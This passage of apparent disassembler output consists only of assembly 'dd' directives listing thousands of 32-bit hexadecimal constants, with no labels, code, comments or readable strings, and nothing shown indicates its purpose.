		dd 156645B9h, 90EBDA32h, 13772B94h, 74CD3752h, 0EA073B8Bh
		dd 14E12DE2h, 0EC661132h, 8C690DBBh, 9269422Ah,	1566223Bh
		dd 0F6E77752h, 4C313E58h, 9E002453h, 1561CBF0h,	81661132h
		dd 0DCFDB12Fh, 90A02542h, 137724E3h, 34D77175h,	7CB60954h
		dd 590E2591h, 0FC9C795Ch, 1566113Fh, 1A56A958h,	0A8D8A06Eh
		dd 19ABBF1Bh, 0C4D3EEEFh, 7560993Ch, 17E84BCAh,	75662232h
		dd 9E697053h, 15668833h, 0B3E3C9CBh, 0E0603308h, 1A06C1CDh
		dd 156689BCh, 9400B132h, 740A98E2h, 8C7594BBh, 0D39F8E2Ah
		dd 46095B7h, 93696534h,	15661138h, 15ED8752h, 9E664432h
		dd 730643C2h, 1956D3B3h, 15669CDAh, 0E435D932h,	6924C75Ah
		dd 0FC902F8Eh, 0E84C0538h, 0DF2DC124h, 7D077CBFh, 0D66035FFh
		dd 0C4D377C7h, 0E960553Ch, 2FC0A7BFh, 0FC061723h, 15668820h
		dd 54565787h, 0AF1755C1h, 0B9DC473h, 0C77A8D3Ah, 1A068AE7h
		dd 78FF485h, 25661132h,	6DFD8A89h, 0BB734837h, 0A8E23428h
		dd 697E0895h, 0E007E9E0h, 198F94CDh, 12662232h,	711D90B3h
		dd 0B12968CFh, 9CF1B5DAh, 0DFF35B7h, 1563F834h,	41AD8832h
		dd 75666975h, 1AA19D3Dh, 156617B4h, 5C950932h, 74080537h
		dd 13B7A7F4h, 0FC391723h, 15668839h, 7E9D344Eh,	0EA87141Eh
		dd 7DF11B49h, 0C1DDE8FEh, 55DF2452h, 7340966Dh,	744D7288h
		dd 0C4D37753h, 7560553Ch, 156624DBh, 87440632h,	9413F1B6h
		dd 0BD099DF4h, 73064362h, 74FF3F8Ah, 2FC00DBFh,	0EA9A4223h
		dd 156BCBE2h, 0ED491132h, 0C2D5C029h, 0E262BEB8h, 9C2458ABh
		dd 0DFEF6B7h, 15686134h, 7A84432h, 1A957BFBh, 1DD8986Bh
		dd 9E3D9297h, 13B7C1F4h, 0FC392423h, 1566113Bh,	0C338006Ah
		dd 822CB7ACh, 41284A80h, 0EA938FDBh, 4685987h, 1DE74B34h
		dd 1A662232h, 156613BCh, 9807E832h, 45CE2B7h, 1A8F4234h
		dd 2C661132h, 0FC4404B8h, 7CAE2C8Ch, 444245D8h,	0EA072B67h
		dd 90EF70E2h, 137EDCD9h, 156633DBh, 3E140E32h, 58E81AEEh
		dd 74EA1B7Ch, 47B10999h, 9E06B532h, 31BA33F9h, 0D3073295h
		dd 460F3B7h, 7D9E4E34h,	0C475A07Ah, 9EDD2252h, 0A09943C9h
		dd 13771FE3h, 15668FDBh, 1DAF6732h, 0B9BEED74h,	2FC094BFh
		dd 96698E23h, 15664420h, 15662FDBh, 2A5FA832h, 99DBFBAFh
		dd 0C1782B4Dh, 0C5990CC8h, 156603DBh, 0CC025F32h, 261680C0h
		dd 15F68D7Bh, 982D4740h, 9C8B6CD3h, 0DFEABB7h, 0DE52D34h
		dd 75661132h, 156684DBh, 5A019F32h, 0BA053377h,	0F41848F8h
		dd 6E083605h, 7F076364h, 150EDA36h, 0E9661122h,	1576885Ah
		dd 1BEA4B32h, 75662232h, 156616DBh, 0DC11B332h,	4BFD9C86h
		dd 1A664853h, 156610B4h, 80997132h, 137746A7h, 1572CB52h
		dd 0A4F1132h, 0B89BA3EBh, 2004852h, 0E10226C3h,	10EA52DEh
		dd 0EBED00DAh, 10E3CD53h, 0ED60331Bh, 428294BFh, 68F8E2Ah
		dd 16664432h, 0F753C69Bh, 35B4F89Ch, 5346F022h,	0D16A5AA5h
		dd 0C59988E8h, 1577933Dh, 9A698832h, 15664439h,	156624DBh
		dd 0CF7BB632h, 7FB0941Bh, 150EBC36h, 0FC662222h, 1566113Ah
		dd 54F5F649h, 4227685Eh, 1546225Ah, 73307132h, 0CE0741B3h
		dd 0DBED226Bh, 0FC664853h, 15661120h, 709C7DA0h, 0DD243D19h
		dd 0FD53E8D1h, 15E8FEEAh, 8099DDB2h, 137746A7h,	34E3ABC7h
		dd 0ED600003h, 19DB0DBBh, 7F9E4223h, 1563CB72h,	0A6331132h
		dd 7DC0CC60h, 15665432h, 9A694252h, 15661132h, 7D07E9CAh
		dd 15674432h, 0AD00DA52h, 7F077E04h, 91697432h,	15664433h
		dd 80F3DDCBh, 75600030h, 949F373Dh, 5F93EEE3h, 90EF4351h
		dd 137720C7h, 156684DBh, 0E9AD2C32h, 0ED2ED8F4h, 0B7B6A128h
		dd 38D303E6h, 0ED60553Eh, 1473BFB9h, 0A6061723h, 74A10249h
		dd 396BF1BBh, 46062423h, 1566953Dh, 0AE3E8832h,	43C4101Eh
		dd 38FBAB53h, 0EC60003Dh, 0FB03CEh, 75605533h, 1564A43Dh
		dd 0E9D51132h, 118A0953h, 9C664432h, 15DE0636h,	14661132h
		dd 4D6E03EAh, 156643DBh, 0A38CDC32h, 0B8E297E4h, 1A6671B1h
		dd 155D4CB6h, 156CCB32h, 1EAD1132h, 508A7E49h, 735ED322h
		dd 1086AB62h, 15661136h, 15668C1Fh, 3162C332h, 3162AB6Eh
		dd 156A953Dh, 9C698832h, 15664434h, 1566A73Dh, 9C351132h
		dd 11A509D1h, 96664432h, 9E126D9h, 19EF4D16h, 15776116h
		dd 6BA94432h, 1A9937ADh, 36A6FC87h, 89E32945h, 750DC6AFh
		dd 0FCA613C7h, 15661121h, 505B3C3Eh, 0DB376B35h, 0AF269218h
		dd 86A47518h, 1A23FB97h, 156645B6h, 90EFDA32h, 137712E7h
		dd 15669BDBh, 0B7EA4E32h, 46C71F8Ah, 21E40DA7h,	0AED2EA7Ah
		dd 0B13B5A44h, 155A4A61h, 9C3D1132h, 949FD3ECh,	553184DCh
		dd 0B488A35Bh, 162C5734h, 9446AC46h, 5360E5F4h,	0D5A0A378h
		dd 0FC0F5165h, 1566883Ch, 26951955h, 0EB793AF0h, 9E82C60Fh
		dd 0B800F201h, 43AAFB52h, 3807540Fh, 184B6DF2h,	6F6BE437h
		dd 3122472Eh, 180A0F12h, 0D5630D48h, 0EC6BA54Eh, 9E1E34CDh
		dd 0D1E70606h, 15661136h, 157C063Dh, 1A064432h,	156622BBh
		dd 156AF932h, 0D1ED8832h, 0A5F7BA19h, 38241EF3h, 74398DFFh
		dd 48373260h, 0F7E76DBEh, 5A584E5Ch, 74DBF3B3h,	0FFE7E370h
		dd 22D47715h, 0C694A370h, 14878126h, 6165D2E4h,	0FBE76416h
		dd 25B83A3Bh, 1571903Dh, 78F8832h, 6E664432h, 0CE1E83F2h
		dd 0E59DE6B4h, 0FEBF2A0h, 0EE641F01h, 613E4AEFh, 1EF1132h
		dd 157E3216h, 0E7674432h, 1A3C18B9h, 15661DBCh,	13E38732h
		dd 1A664432h, 156622BDh, 0FCDB9832h, 75609931h,	1566C83Dh
		dd 1A072232h, 156606B0h, 15746132h, 168C4432h, 755D97E7h
		dd 0D0A5A5F8h, 4F72010Dh, 6F7A6959h, 9069DDB7h,	1566117Dh
		dd 156A053Dh, 128F4432h, 29662232h, 0F614D667h,	9A692306h
		dd 15664424h, 156633DBh
		dd 0D47E5532h, 50228FE6h, 0E2647B4Ah, 55431265h, 528E37EBh
		dd 0EC668850h, 10E7ADCEh, 58F2232h, 0FC661132h,	833175F7h
		dd 0B6A9D3FFh, 10855BD8h, 44348E77h, 0D4E769BBh, 15664436h
		dd 9262CBB1h, 9C3A353Eh, 78FAC3Eh, 0D3664432h, 6714867Bh
		dd 3027BBD2h, 0EB9B0AF5h, 28DF9041h, 118AA3CAh,	9C661132h
		dd 0FC3CAC0Eh, 15664426h, 9CCD0D33h, 5ACA48BAh,	0E8674502h
		dd 8D08AC09h, 2693C7DFh, 7562C359h, 15600A3Dh, 9C694432h
		dd 15662232h, 15ED1E61h, 4E668832h, 3AD42453h, 84F3AB53h
		dd 0E0600034h, 1A068C58h, 0F0DF8485h, 744C3AEEh, 1576115Ah
		dd 1DE28732h, 1A664432h, 156620BDh, 42077132h, 0D2E76FBBh
		dd 15664436h, 9262CDB1h, 9C3A350Eh, 1F8FAC26h, 80664432h
		dd 35A3B89Ch, 1525D17Fh, 1A66E25Dh, 156648B4h, 13E72D32h
		dd 1A661132h, 156688B3h, 80F3BB32h, 0FC603330h,	15661120h
		dd 0DF7F11D6h, 884EEB1h, 41D1AA15h, 682FB021h, 90EF2253h
		dd 13776463h, 118AA1CBh, 944215BBh, 1891AC1Eh, 943C7F08h
		dd 2F6BD5F0h, 14EC1E09h, 0E9668832h, 3152BBCAh,	11A2A16Bh
		dd 747EF9CBh, 1F8F8832h, 4664432h, 66DEBA01h, 76BFF6DCh
		dd 3CFE045h, 21EF4432h,	1E8F4216h, 0AE661132h, 98457E9Ah
		dd 7906891Bh, 0D3E7EF0Fh, 2DFAA503h, 9F692553h,	15664435h
		dd 1567A93Dh, 0FC9F1132h, 15668823h, 8A073C85h,	562553ECh
		dd 8AD7AA27h, 8AB3851Ch, 7CE4110h, 51655D35h, 0AA313516h
		dd 5FF3B2EAh, 10818575h, 5CEED5B3h, 0ED4F3C92h,	1E2876Dh
		dd 75664432h, 156625DBh, 3FC65B32h, 83E6780h, 1566CC3Dh
		dd 24072232h, 24A120CAh, 18E587CAh, 75664432h, 1566AA3Dh
		dd 0A5DD1132h, 7449AE1Ah, 4398CD64h, 198F7C69h,	4C661132h
		dd 442B6BB3h, 0A49674EEh, 4542F914h, 1163F1BBh,	96668832h
		dd 11E140DAh, 29EF7E16h, 156EF816h, 10768832h, 0FDD82D66h
		dd 9C69ACA9h, 15661124h, 156699DBh, 3C73FD32h, 0CF4CBA57h
		dd 79D2EC62h, 94E1B103h, 0D5566D33h, 156630DBh,	87899D32h
		dd 0BCB2AB9Dh, 0A631F4E5h, 0B8220D66h, 0BB97FEB3h, 9E697547h
		dd 15664437h, 4F35DB52h, 13EB1E53h, 75668832h, 0E095CF54h
		dd 3152DD53h, 11A2906Ch, 1A668832h, 15665DB6h, 1572CB32h
		dd 2B031132h, 68C2CACFh, 0FB0A9F5Ch, 94BAF218h,	7FC2D0BAh
		dd 0D2E79FB7h, 6E5D3477h, 4EAEE5B3h, 0CA4F11EBh, 4EAE67B3h
		dd 0FAE744EBh, 6E5D5277h, 156605DBh, 295FAC32h,	7B445FA8h
		dd 0D7338B20h, 427AE9E8h, 122D884Dh, 4682C37h, 1EF2232h
		dd 6E51E16h, 75668832h,	4898A7B3h, 138F13C0h, 13661132h
		dd 0CF430AEDh, 9C302513h, 9E94ABCCh, 0D1E73506h, 15668836h
		dd 1567CC3Dh, 9E9F2232h, 44F148Fh, 0EADF7134h, 7599BBCDh
		dd 9D694883h, 15661139h, 15668EDBh, 15E1C632h, 7466FAB1h
		dd 188FD103h, 9F668832h, 8F1814F7h, 0EC809A07h,	1C39E012h
		dd 15663163h, 0FCE74432h, 693D54B1h, 0D4E7E033h, 693DFEB1h
		dd 1A3F45B8h, 156635B6h, 1574F832h, 35688832h, 0F0B3770Eh
		dd 0A8C71D5Fh, 6B02B7D0h, 3E7C5D74h, 0FCAE74CBh, 1566223Eh
		dd 0BA731E6Dh, 16E44D9Eh, 0B562795Fh, 155FD25Ah, 31529832h
		dd 4B428CCDh, 0DBED2252h, 0F2086288h, 21997026h, 314A09B5h
		dd 304F1C38h, 4D6C276Ah, 0AF06341Bh, 141F1B97h,	74BCCF54h
		dd 1567A93Dh, 0D49F1132h, 940680DBh, 8F05EAD1h,	0DEED440Eh
		dd 0FCA72053h, 15668834h, 41E4B815h, 1A06C50Eh,	156602BAh
		dd 156B6032h, 0CFF74432h, 0D01AC347h, 0AC0D4760h, 4C79FEA8h
		dd 156649DAh, 0B6C4DB32h, 0FF4BB07Dh, 6CC7EBF1h, 9C69861Ah
		dd 15662232h, 1A2C706Bh, 0EA999FB7h, 966924CDh,	15662237h
		dd 0A431898Bh, 0E0003026h, 44072B1Bh, 944226B9h, 156615F6h
		dd 156D6132h, 7694432h,	258F6E72h, 0EF006875h, 0C49119DAh
		dd 4C3E1562h, 1561A33Dh, 9B691132h, 15668833h, 3172CFCAh
		dd 9483AB67h, 156615F7h, 11A30932h, 92664432h, 0EC3A061Eh
		dd 9C394165h, 949AD708h, 156640DEh, 314AAB32h, 1566158Fh
		dd 488C8932h, 1ABFCE52h, 7D07E485h, 15664C96h, 0FC429CBBh
		dd 15664421h, 8576EA1Bh, 0CAB89449h, 9EDD5F18h,	6455FCEAh
		dd 0EA88D6ACh, 465C4B7h, 0CE48734h, 0FC664432h,	15662226h
		dd 862C1618h, 0B73A455Fh, 298CF85Ah, 0D34E3F0Fh, 0A10C7C2Ch
		dd 16B31DB9h, 68F4223h,	0C662232h, 80D05AF3h, 0D94894D3h
		dd 0EC3F5B9Bh, 0A5923AD3h, 99693318h, 1566883Ah, 1564C13Dh
		dd 74062232h, 168F840Bh, 91698E23h, 156644B3h, 0A887A352h
		dd 956DEDFEh, 9E0747F1h, 9C356026h, 11A5A3D1h, 94661132h
		dd 15668CF1h, 317AC332h, 58F426Eh, 9661132h, 3556F8Ah
		dd 0BBCE6791h, 1D52E045h, 73E64DF9h, 74AB998Dh,	454270B9h
		dd 1163C2BBh, 10661132h, 15668836h, 494240B5h, 156DAC3Dh
		dd 73061132h, 734AD889h, 0ECD086B3h, 5E344A53h,	29EF1132h
		dd 15623716h, 0EB674432h, 0FC9EDA6Dh, 0EA99EAD3h, 15EE8752h
		dd 0E0664432h, 3172A953h, 94819865h, 15668CF5h,	11A1C532h
		dd 92662232h, 0E03A350Eh, 4B42BCCDh, 156280B3h,	749E2232h
		dd 3152EECEh, 11A2096Bh, 0E0664432h, 404226B9h,	0D0E7F4BBh
		dd 15668836h, 156281B3h, 39E12232h, 90694D16h, 15668831h
		dd 7507BC52h, 0BCDCE1B8h, 740825DFh, 21030DF5h,	15664223h
		dd 9F692232h, 15661126h, 156B6152h, 407B4432h, 8E8412ACh
		dd 0FDC04F2Ah, 74977D21h, 757C1F5h, 15662423h, 95691132h
		dd 1566883Eh, 0AF17FC52h, 7D83893h, 742CF93Dh, 8D3135B1h
		dd 1A66422Ah, 156608B6h, 1BEF1E32h, 0FC668832h,	1566443Bh
		dd 3C0DC488h, 0E37124D1h, 0EBFB0552h, 0ED605382h, 9569F1CDh
		dd 15661135h, 1567023Dh, 0EA934432h, 47313B7h, 1569F834h
		dd 97E48832h, 0F5BB2F98h, 0F1CE8B5Dh, 0E7671908h, 24DB0B2Eh
		dd 71605527h, 17BDA03Dh, 0FC9E1132h, 1566883Fh,	13483239h
		dd 20CB524Ch, 126B1103h, 24E34F15h, 14605527h, 0ED662232h
		dd 9E007152h, 0CDE7EEEDh, 9807EB0Eh, 0DE0AFB7h,	156BF834h
		dd 0E1B98832h, 0CAEA598Bh, 2D1B54FAh, 0EA6D0D9Eh, 156061E2h
		dd 60B4432h, 0E2AEB4DAh, 8C41A4BFh, 188F8E2Ah, 0B2664432h
		dd 186D4728h, 0C9269342h, 30166EA3h, 0D4ED2252h, 1565A83Dh
		dd 0C4E61132h, 0A8EBE9ADh, 137F62A2h, 156625DBh, 5C4E9732h
		dd 0ECB81F34h, 15664ADBh, 0F0115532h, 2DBDCB05h, 8885D958h
		dd 948EBF7Dh, 0A34F65F5h, 0C5A1907Ah, 3C52DE7Ah, 0C589C5C5h
		dd 9452747Ah, 0A34F56DDh, 1A8FE87Ah, 0F5664432h, 0B5EC07C0h
		dd 0F52A3858h, 0E9AE6F6h, 1E8F834Eh, 6C662232h,	0AD776975h
		dd 8E246230h, 4207D88Ah, 0C94226B3h, 9E118012h,	0D1E5AC26h
		dd 0C98CC536h, 1A11B312h, 156610B6h, 0A8ED7D32h, 13776D37h
		dd 0EA999BCAh, 9D69EECDh, 15668833h, 75A675CBh,	1AC7C3B2h
		dd 156615BFh, 87DDEE32h, 0AE3525AAh, 15662232h,	0A08FAB3h
		dd 0E667A58Eh, 0A0887B3h, 16EC0F8Eh, 19E01E69h,	1A668832h
		dd 156642B5h, 15EE2D32h, 25661132h, 157761FAh, 19024432h
		dd 89FDC418h, 38747BE9h, 33BDD02Fh, 7538786Fh, 156636DAh
		dd 95CE4432h, 998C645Fh, 703000B0h, 5FE3FDCDh, 3361C7DBh
		dd 3D9EEF3h, 94001DAEh,	7475A0D2h, 3162EE64h, 9642BCB9h
		dd 470640F6h, 156633DBh
		dd 33BAEE32h, 0F37F45EAh, 4E3D07Ah, 63C7B411h, 743E97C6h
		dd 23910952h, 7379D105h, 4708CDB3h, 9252EE53h, 0C442BCB3h
		dd 4D2C2E76h, 7F22F307h, 0CFED7178h, 0D4A70860h, 0FCA7256Ch
		dd 0D457DA3Ah, 0D3EDE452h, 9069C253h, 0EA99BB1Fh, 118AA1CAh
		dd 4D421DBBh, 156684DBh, 0D541A132h, 0A92EBCAFh, 0AA0AAB78h
		dd 188FE816h, 0DB664432h, 9ACDC711h, 0E33A30ECh, 5A68CA3Dh
		dd 1E11453h, 92B4D516h,	0FC3E3526h, 15668838h, 8D49BC91h
		dd 0D51E12C6h, 905F1436h, 13779C9Fh, 15C7C03Dh,	90692232h
		dd 1566113Eh, 1560073Dh, 98694432h, 15662232h, 1566115Ah
		dd 31620332h, 156280B3h, 1E932232h, 45E31EF2h, 75668832h
		dd 156648DBh, 1745932h,	0ED4841E7h, 0DB2FE822h,	10E34BE0h
		dd 0AA662232h, 24C50619h, 2E98753h, 1A664432h, 156633BBh
		dd 156AF832h, 1A9C8832h, 4133F7B4h, 27A674CBh, 90A15F3Dh
		dd 13779D6Bh, 15664433h, 156624DBh, 0A9A89A32h,	45E2FFA2h
		dd 83261C8Ah, 0FBDC7022h, 1430520Dh, 302ED2E2h,	7B816795h
		dd 9AC0691Fh, 4DA71054h, 15630D3Dh, 0E9064432h,	7407FEB8h
		dd 156619DBh, 1D0BAC32h, 309CF1B8h, 0DCD87430h,	0AC7BC810h
		dd 53B6D127h, 21EDB503h, 11A2A316h, 0FC661132h,	15668820h
		dd 0BD2E0E68h, 0E912472Fh, 69184BEBh, 8480A86Ah, 84DCACFAh
		dd 57681866h, 5026DBB3h, 0EA348959h, 943C603Eh,	3D4063D0h
		dd 794901Fh, 0E92B3028h, 1569AD9Fh, 0B1322232h,	36B1136Dh
		dd 0CD1A76CEh, 2B5057E1h, 1E82D7Ah, 75661132h, 156683DBh
		dd 0A85F1332h, 0C4C33B38h, 49FF5024h, 9C0770B9h, 44A4987h
		dd 0AE35DE34h, 20C94E52h, 0B5C63260h, 43EF8E62h, 4B6778CEh
		dd 1A064ACEh, 15668EBBh, 15E74B32h, 95662232h, 0FC0745D0h
		dd 1566883Eh, 0FF1339C7h, 0B09F07C9h, 12ED6943h, 0FB88660Fh
		dd 83E34BDCh, 0FC662232h, 15661139h, 3A16180Dh,	0E8A09D92h
		dd 943E50A8h, 0C8BBCC0Ch, 6FE387EFh, 0E0664432h, 73A09961h
		dd 0D6E73687h, 19B84Ch,	9664AFF3h, 0FEE7DDF1h, 1A2B34E2h
		dd 0ED3D96BBh, 11DF15CBh, 94662232h, 2454C6DCh,	94A8891Ch
		dd 245493F4h, 44067B1Ch, 0FD3F7052h, 15668838h,	741AD90Ch
		dd 9CBBE8C9h, 9E00A628h, 7507D1CAh, 1566C83Dh, 0CDE72232h
		dd 140239EDh, 18D30153h, 7560551Eh, 0EAD6C1B3h,	0AE001DB9h
		dd 0EC078A70h, 154B14DBh, 0BF8FDB32h, 0E099EECCh, 9EDD8CEh
		dd 11A2C516h, 1A662232h, 156610B1h, 90557032h, 1377516Bh
		dd 15662EDBh, 7448FA32h, 47E74E47h, 0A41515A8h,	16AEE315h
		dd 1AB59A52h, 156699B0h, 156AAD32h, 0F7E2232h, 0CA7DAC62h
		dd 665C59F3h, 10072BE2h, 7D3D37B1h, 0AC37C11Bh,	2F078C90h
		dd 35248DB3h, 0E4E70330h, 1012952h, 0EC6749B3h,	0DD4F7D64h
		dd 0D5A7DE6Bh, 1561F822h, 0CACB8832h, 86985951h, 9F6942F3h
		dd 15661137h, 95A70954h, 2407B864h, 1574CBFAh, 43AA1132h
		dd 0E982E2CFh, 9A3D9A1Bh, 5C2D903Ch, 3954E645h,	3F15BBh
		dd 1E8F4223h, 19662232h, 5CA736FEh, 0E9553D6Fh,	155BC05Ch
		dd 1A662332h, 156426B1h, 156E6132h, 0FCC74432h,	9FDEEB41h
		dd 2BE741F7h, 0AEDD3389h, 1778C13Dh, 73062232h,	9508F58Dh
		dd 4607FAFEh, 0D51EE689h, 82DC703Dh, 940FE864h,	273F6CD8h
		dd 77ACC554h, 94407A6Bh, 450E0CF8h, 0F9A40933h,	3C7AC17Ah
		dd 0F6E778E1h, 394E1290h, 36B363B3h, 0C6914624h, 0C8A8E1B3h
		dd 0BEF14C3h, 14EF8769h, 0E9664432h, 15629B63h,	0DB671132h
		dd 964284B9h, 9C9F40F6h, 44A2F87h, 0CFEC7134h, 62317FB3h
		dd 0FC072F67h, 15662220h, 0D5569D52h, 16EC4E3Eh, 0A59DF307h
		dd 56591DB9h, 88EDB703h, 13778927h, 15664DDBh, 2F36A332h
		dd 951F18DEh, 0AF34FCE6h, 15664432h, 0AE35F833h, 15661132h
		dd 1EED5B33h, 459F1E69h, 0B420EB3h, 4F31C956h, 3F7A3062h
		dd 3E4B0591h, 2009564Fh, 61127279h, 7091857Ah, 0A6340C9h
		dd 14D6FE46h, 730649F0h, 0D90F4AB3h, 1563C33Dh,	94002232h
		dd 740133DCh, 9E697452h, 15664434h, 46074252h, 430E706Ch
		dd 9C668804h, 1A3E6026h, 15663BB5h, 1572F832h, 11548832h
		dd 0E877EDDh, 0AE9D0211h, 204F141Dh, 41D766A7h,	904D8157h
		dd 13770977h, 156603DBh, 41810B32h, 1C0A88B1h, 0D22B93CBh
		dd 59E91808h, 0D4BB793Ch, 128F46D2h, 8F662232h,	68278393h
		dd 9065E69Bh, 13777503h, 156FCB52h, 0B7FA1132h,	1622CD1Ah
		dd 1A3F62BDh, 156636B3h, 1569F832h, 0AEDF8832h,	0CF206937h
		dd 0C506A3B6h, 2D9E9740h, 0F9E5E9D3h, 3162CD36h, 1A387A64h
		dd 15660FB3h, 0DED8732h, 0FC664432h, 15662221h,	0FEFE9D7Ah
		dd 5621928Bh, 227E2E4Bh, 2CD8EA25h, 1A303F74h, 15668FB5h
		dd 14E14B32h, 0EC662232h, 1563F89Fh, 26368832h,	106A3F1Bh
		dd 3ABA33F7h, 7434FF1Fh, 10AE8922h, 50716DCh, 0C977E71Fh
		dd 4430711Dh, 0CDD9D36Ah, 745E3F84h, 94266BBh, 15661FDBh
		dd 6CB6632h, 3271A81Ah,	0EDD20B50h, 0FCDF4394h,	15668823h
		dd 7A1ED175h, 9F2E6EC3h, 9588F3C7h, 5FB8BE41h, 0FC9E25A6h
		dd 15662234h, 0C9825BFCh, 28FEF67h, 0E0664431h,	9484AB60h
		dd 156615F0h, 118C0B32h, 494250B5h, 1A422EBBh, 156610BFh
		dd 9C317132h, 11A1C5D5h, 94662232h, 156615DDh, 315A0F32h
		dd 3172CD6Eh, 156625DBh, 0D5530332h, 0F3147829h, 9E9A8D03h
		dd 44673A7h, 1BEC1E34h,	0FC668832h, 1566443Bh, 0F620461Ch
		dd 473E7F9Ah, 1A64B379h, 1566F7B6h, 1DEA2D32h, 1A661132h
		dd 15668ABBh, 7D072432h, 1566456Dh, 0AD4215BBh,	15668836h
		dd 0E93E8633h, 15662CDBh, 0F0C32432h, 332C40Fh,	24EDF67Ch
		dd 24C216ACh, 24AB20DBh, 0FCE1CDDBh, 1575ADCEh,	37C2232h
		dd 0CC1ACB6h, 60B4F42Ah, 0F34E795Bh, 5C802A5Bh,	0FCEB2A36h
		dd 1A609931h, 0EA99DCB7h, 1561CBCDh, 0C8711132h, 0DD002FC6h
		dd 140E1515h, 9E1D6E0Bh, 0D1E5353Eh, 39AF0936h,	94580235h
		dd 0A4A6F1F3h, 4CAE98B2h, 98EB74CEh, 13770A0Ch,	1567AC3Dh
		dd 759A1132h, 743C7462h, 48FA5CDh, 71662232h, 584982DEh
		dd 5651EC57h, 0B375C75Bh, 7B729F79h, 16B39CBBh,	97698E23h
		dd 1566443Bh, 0AE3F7352h, 6DF3BAC3h, 31720353h,	1086CD62h
		dd 15662236h, 15661537h, 31620F32h, 14EF4B6Eh, 0EC662232h
		dd 4C4225CDh, 75624CB1h, 1564C63Dh, 5CD22232h, 3675B78Ch
		dd 9C36E965h, 156241D2h, 114B2232h, 92661132h, 9C3AAC36h
		dd 1C8F6006h, 82662232h, 0CC203B5Eh, 0CF08320Eh, 1473D9B9h
		dd 0FC062423h, 15661135h, 62281DA7h, 73769D50h,	0AA8CE3B3h
		dd 1560F853h, 316F8832h, 1B3631F1h, 19ED11CDh, 11A29016h
		dd 75668832h, 0ECBFFB3Dh, 1576CB53h, 6DBE1132h,	340257EAh
		dd 0A6ABD8h, 73AB5D08h,	90ED30C4h, 13778BE7h, 156657DBh
		dd 34EC8E32h, 0ECFE0B62h, 867258E0h, 0C1BD85h, 7393F425h
		dd 1A86C0CEh, 156684BBh, 13E64B32h, 1A662232h, 156611B1h
		dd 58E38B32h, 0ED60553Ah, 15662DDBh, 23ACFB32h,	169F9315h
		dd 0FC0CA400h, 0D73BA604h, 1F8FE703h, 0A8668832h, 0A485C10Ch
		dd 754DA405h, 156EF8E8h, 74438832h, 5D866470h, 0E557346Ch
		dd 0E557D703h, 0FCCBEECBh, 15664438h, 0B7A46F88h, 0B89A596Ch
		dd 0F5A7F03Bh, 156FAD30h, 0F6A2232h, 0BA98106Eh, 75F37B0Dh
		dd 15664BDAh, 0D83BF332h
		dd 6FCD57Eh, 0A81CAA5Dh, 4E21263Fh, 0BFFBE1B3h,	1A3F0921h
		dd 156688B5h, 90652532h, 13771303h, 156E9B3Dh, 9D698832h
		dd 15664430h, 0F9E54352h, 31629836h, 1A38D064h,	15665DB0h
		dd 1572CB32h, 4AFA1132h, 0FFF17AB8h, 4EE3E237h,	7A124C5Eh
		dd 3D84264Fh, 75CB25B7h, 156650DAh, 0E9569A32h,	0D10DE247h
		dd 0CAC1DBB9h, 0B7CE634Fh, 4BDD3E4Eh, 4B3C4255h, 100757B9h
		dd 799F2944h, 0AE35EA33h, 799F7C44h, 753D501Bh,	15664DDBh
		dd 0E9A2DC32h, 0B84DF83Bh, 1E8F683Ch, 81664432h, 89294AF9h
		dd 64DFB17Dh, 0EA072316h, 94386006h, 156626F6h,	0A8E5E932h
		dd 13779A83h, 0D2E24B33h, 0E9662232h, 1BB79C09h, 91698E23h
		dd 15664488h, 1CEB19CAh, 1A600039h, 156625B6h, 1575AD32h
		dd 2B612232h, 405FEE9Dh, 20247CE0h, 0AD391E42h,	4454D8E2h
		dd 1DEB1E69h, 1A668832h, 156646BBh, 2E074232h, 47184BFh
		dd 6EE28734h, 1A664432h, 156631B4h, 94007132h, 0FC7F19D4h
		dd 15664435h, 619EA04Ah, 749EE1B3h, 0E2D615BFh,	0EA93422Ah
		dd 9669DBE1h, 15661135h, 1567003Dh, 7D934432h, 15667855h
		dd 944215BBh, 1585AC36h, 94397A99h, 0BE66C1DDh,	1574F80Ch
		dd 3E088832h, 53BB6FAh,	0C296442Dh, 1FA8E0B3h, 0A71FB37Eh
		dd 3FBFC1BBh, 93692423h, 1566113Eh, 1560053Dh, 93694432h
		dd 15662232h, 15468ADBh, 88EB7032h, 137EB382h, 15662DDBh
		dd 0C117D832h, 0A5C9E1C5h, 5C0D822Dh, 0C28BA065h, 7406C2CDh
		dd 7D735B1h, 1A664223h,	156661B6h, 19EC1E32h, 1A668832h
		dd 156642BFh, 15EE2D32h, 2E661132h, 47BEDB7h, 0AE24B34h
		dd 0FC662232h, 15661137h, 60E9700h, 54E37F47h, 1A603320h
		dd 15661EB7h, 0F2E7E832h, 521F0D1Ch, 248F43CEh,	0E099EECDh
		dd 3B6F0D09h, 90694223h, 15662296h, 0CFDD7752h,	7C900968h
		dd 7467DCF0h, 0E179FB1h, 1A661723h, 1566DCB6h, 0FC062432h
		dd 1566223Fh, 7ACB234Ch, 58D3E7AEh, 23936231h, 15E52D4Ah
		dd 74661132h, 156681DBh, 0BA943632h, 0F7DCEA31h, 9607F03Fh
		dd 478698Fh, 91694434h,	15662266h, 1571963Dh, 78F8832h
		dd 76664432h, 3CC7D139h, 0E7BFFBBh, 7B0FAC4Dh, 5250EE3Dh
		dd 18E3AF1Dh, 756009B2h, 156683DBh, 5F7F5D32h, 0E2180C7h
		dd 0D21B2EEBh, 1575023Dh, 188E4432h, 0CE662232h, 0C6C638A4h
		dd 0D704DE09h, 0ABB1F303h, 948F436Ah, 0E099EECCh, 3B6F0D09h
		dd 91694223h, 0EA99DC46h, 15661ADBh, 0F4321532h, 0B39C589Fh
		dd 0CAE1357Eh, 8D5DACB1h, 1A678E2Ah, 1566D3B7h,	1576CB32h
		dd 487D1132h, 40F4652Dh, 454E63CFh, 7D6474A9h, 905DF62Eh
		dd 137E105Dh, 1510C13Dh, 94062232h, 0E25782E0h,	1577605Eh
		dd 0E9EB4432h, 25EE3812h, 582E141Eh, 30CDE36Ah,	1A3F511Bh
		dd 743CDB85h, 1E8294BFh, 0FC06886Bh, 15664421h,	250892CAh
		dd 608F5A20h, 2D63D48Ch, 174D9C56h, 75EA7099h, 15661ADBh
		dd 9AEBE932h, 0B56B7F32h, 3CA2D3E5h, 0E18F7053h, 1A9977CFh
		dd 156653B6h, 1574CB32h, 13B51132h, 9F2055BBh, 0CB3FAEB1h
		dd 0B3F53779h, 0E5BF93F9h, 0FD067703h, 15664423h, 0ED897006h
		dd 0A5244069h, 94851D9Ah, 67DF1777h, 7AA6A307h,	4F45DC26h
